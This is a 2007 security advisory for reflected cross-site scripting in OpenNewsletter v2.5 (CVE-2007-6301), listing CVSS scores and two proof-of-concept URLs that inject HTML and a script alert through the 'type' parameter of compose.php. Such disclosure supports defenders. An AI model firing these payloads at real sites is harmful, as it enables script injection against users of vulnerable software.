OpenNewsletter v2.5 Multipe XSS Attacks

2007.12.10

Credit: Manu

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2007-6301

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

Software: OpenNewsletter
Homepage: http://www.selfexile.com/projects/opennewsletter
Affected version: v2.5 and below
Overview: OpenNewsletter si a free, simple, and beautiful
open source newsletter solution aimed at small-medium scale.
Attack:
A non-existant sanitization when parsing the PHP value 'type'
on 'compose.php', leads to some XSS attacks.
PoC:
http://www.vulnhost.com/path/to/opennewsletter/compose.php?type=html'%3C
h1%3EXSS!%3C/h1%3E
http://www.vulnhost.com/path/to/opennewsletter/compose.php?type=';%3CSCR
IPT%3Ealert(String.fromCharCode(88,%2083,%2083,%2032,%2058,%2040))//\';%
3C/script%3E
Solution: not aware of at 12/6/2007.
Credits: Manu (manuuu (at) darkprotocols (dot) net [email concealed])
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OpenNewsletter v2.5 Multipe XSS Attacks

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